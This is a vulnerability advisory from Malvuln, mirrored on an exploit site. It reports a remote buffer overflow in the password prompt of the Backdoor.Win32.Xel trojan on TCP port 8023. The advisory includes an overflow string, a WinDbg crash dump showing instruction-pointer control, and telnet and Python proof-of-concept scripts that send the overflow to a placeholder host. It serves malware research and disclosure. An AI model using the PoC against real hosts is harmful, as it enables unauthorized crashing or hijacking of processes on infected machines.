## https://sploitus.com/exploit?id=PACKETSTORM:161049
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3648c68bfe395fb9980ae547d881572c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Xel
Vulnerability: Remote Authentication Buffer Overflow
Description: Xel listens on TCP port 8023 and requires authentication good for them!, upon connecting you are greeted with a password prompt:
XeL TROJAN based on ULTOR'S TROJAN
password:
For incorrect passwords we get "Wrong password" response. However, by entering a password with a length of about 125 characters, we trigger the buffer overflow vuln. Moreover, we can also send a larger payload using TCP socket to supply shellcode.
Password string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
The below PoC, last eight bytes 42424242 (B) will overwrite the instruction pointer (EIP), potentially allowing control of the malwares execution flow and undermining its authentication mechanism.
Type: PE32
MD5: 3648c68bfe395fb9980ae547d881572c
Vuln ID: MVID-2021-0044
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/21/2021
Memory Dump:
(13c.d54): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=42424242 edx=773e9d70 esi=00000000 edi=00000000
eip=42424242 esp=000a1680 ebp=000a16a0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe
FAULTING_IP:
Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+3610
00403610 8b4af8 mov ecx,dword ptr [edx-8]
EXCEPTION_RECORD: 0019fa10 -- (.exr 0x19fa10)
ExceptionAddress: 00403610 (Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+0x00003610)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414139
Attempt to read from address 41414139
PROCESS_NAME: Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 42424242
WRITE_ADDRESS: 42424242
FOLLOWUP_IP:
kernel32!BaseThreadInitThunk+0
76e38630 8bff mov edi,edi
FAILED_INSTRUCTION_ADDRESS:
+0
42424242 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019fa60 -- (.cxr 0x19fa60)
eax=0019ff44 ebx=0000007e ecx=532f749c edx=41414141 esi=0000007f edi=0000007f
eip=00403610 esp=0019fec0 ebp=0019ff4c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+0x3610:
00403610 8b4af8 mov ecx,dword ptr [edx-8] ds:002b:41414139=????????
Resetting default scope
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 41414141 to 00403610
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_42424242
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242
FRAME_ONE_INVALID: 1
STACK_TEXT:
0019fec0 00403610 backdoor_win32_xel+0x3610
0019ff54 41414141 unknown!printable+0x0
0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b
SYMBOL_NAME: kernel32!BaseThreadInitThunk+0
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: kernel32
IMAGE_NAME: kernel32.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 744765ce
STACK_COMMAND: .cxr 000000000019FA60 ; kb ; dds 19fec0 ; kb
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242_c0000005_kernel32.dll!BaseThreadInitThunk
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_42424242_BAD_IP_kernel32!BaseThreadInitThunk+0
Exploit/PoC-1:
TELNET x.x.x.x 8023
Enter a long string for password.
Exploit/PoC-2:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=8023
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PBARBAR="A"*200+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PBARBAR)
s.close()
print("Backdoor.Win32.Xel / Remote Authentication Buffer Overflow")
print("MD5: 3648c68bfe395fb9980ae547d881572c")
print("By Malvuln");
if __name__=="__main__":
doit()
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